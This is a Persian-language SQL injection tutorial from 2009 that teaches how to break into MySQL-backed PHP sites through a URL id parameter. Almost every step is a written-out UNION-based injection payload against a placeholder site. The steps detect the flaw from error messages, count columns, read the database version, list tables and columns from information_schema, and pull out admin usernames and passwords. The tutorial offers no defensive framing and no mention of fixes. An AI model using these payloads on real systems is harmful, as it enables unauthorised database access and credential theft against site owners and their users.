به نام خدا

Sql Injection

2009/08/05

نویسنده : سعید بستان دوست

www.ipsecure.ir

mr.cback@gmail.com

1- چگونه آسیب پذیری را پیدا کنیم؟

اگر لینک ما : http://example.com/index.php?id=5 **باشد**

ما باید از طریق راه های زیر آسیب پذیری رو پیدا کنیم

http://example.com/index.php?id=-1
http://example.com/index.php?id=999
http://example.com/index.php?id='

حالا اگر با این ارورر روبرو شدیم باگ وجود دارد و متوانیم inject **رو شروع کنیم**

"You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right etc..."

2- چگونگی پیدا کردن تعداد ستون ها

برای پیدا کردن ستون ها از فرمانه order by **استفاده میکنیم**

http://example.com/index.php?id=-1+order+by+10--

این کارو انجام میدیم تا جایی که ارورر نده بهمون

برا مثال :

http://example.com/index.php?id=-1+order+by+10-- ➔ Error
http://example.com/index.php?id=-1+order+by+9-- ➔ Error
http://example.com/index.php?id=-1+order+by+8-- ➔ Error
http://example.com/index.php?id=-1+order+by+7-- ➔ No Error

الان اینجا 7 **تا ستون وجود داره**

3- استفاده از دستور union

http://example.com/index.php?id=-1+union+select+1,2,3,4,5,6,7--

اگر ما اعدادی را بر روی صفحه دیدم نشانگر این هست که Union به آن ستون دسترسی دارد

مثال : اینجا الان union به ستون 4 و 5 دسترسی داره

4- پیدا کردن ورژن sql

برای این کار از دستور @@Version یا Version() استفاده میکنیم

http://example.com/index.php?id=-1+union+select+1,2,3, @@Version,5,6,7--

در جواب ما همچین چیزی رو میبینیم

5.0.67-community

همینطور میتونیم از convert استفاده کینم

http://example.com/index.php?id=-1+union+select+1,2,3,convert(@@version using latin1),5,6,7--

یا دستور هکس و آنهکس استفاده کنیم

http://example.com/index.php?id=-1+union+select+1,2,3, unhex(hex(@@version)),5,6,7--

5- درآوردن نام Table ها

برای این کار باید از فرمان table_name و information_schema.tables استفاده کنیم

http://example.com/index.php?id=-1+union+select+1,2,3, table_name,5,6,7 from information_schema.tables--

برای مثال table های پیدا شده admin – news – post هستند

6- پیدا کردن column ها

برای این کار از دستور column_name و information_schema.columns استفاده مکینم

http://example.com/index.php?id=-1+union+select+1,2,3, column_name,5,6,7 from information_schema.columns--

الان به من این column ها رو داد

username – password – title – userid - message

دیگه معلوم هست که username و password برای admin هست

7- درآوردن اطلاعات از Table ها

گفتیم که table و column ها رو در میاریم

حالا نوبت به درآوردن اطلاعت میشه

برای این کار از فرمان زیر استفاده میکنیم

http://example.com/index.php?id=-1+union+select+1,2,3, username,5,6,7 from admin--

یوزر درومد

Username : admin

حالا میریم برا درآوردن password

http://example.com/index.php?id=-1+union+select+1,2,3, password,5,6,7 from admin--

اینم پسورد

Password : testsql

8- استفاده از دستور (هکس مد)

دستور دیگری که وجود داره این هست که میشه user **و** pass **رو درورد**

http://example.com/index.php?id=-1+union+select+1,2,3,
concat(username,0x3a,password),5,6,7 from admin--

9- استفاده از دستور (اسکی مد)

دستور دیگر شبیه هکس مد

http://example.com/index.php?id=-1+union+select+1,2,3,
concat(username,char(10),password),5,6,7 from admin--

10- محدود کردن اطلاعات

برای اینکه اطلاعات دریافتی که لازم داریم رو محدود کنیم از دستور limit 0,1
استفاده میکنیم

http://example.com/index.php?id=-1+union+select+1,2,3, table_name,5,6,7 from
information_schema.tables limit 0,1--

این الان table **اول رو به ما میده برای دیگر** table **ها از** limit 1,1 **و** limit 2,1 **و .... استفاده میشه**

موفق باشید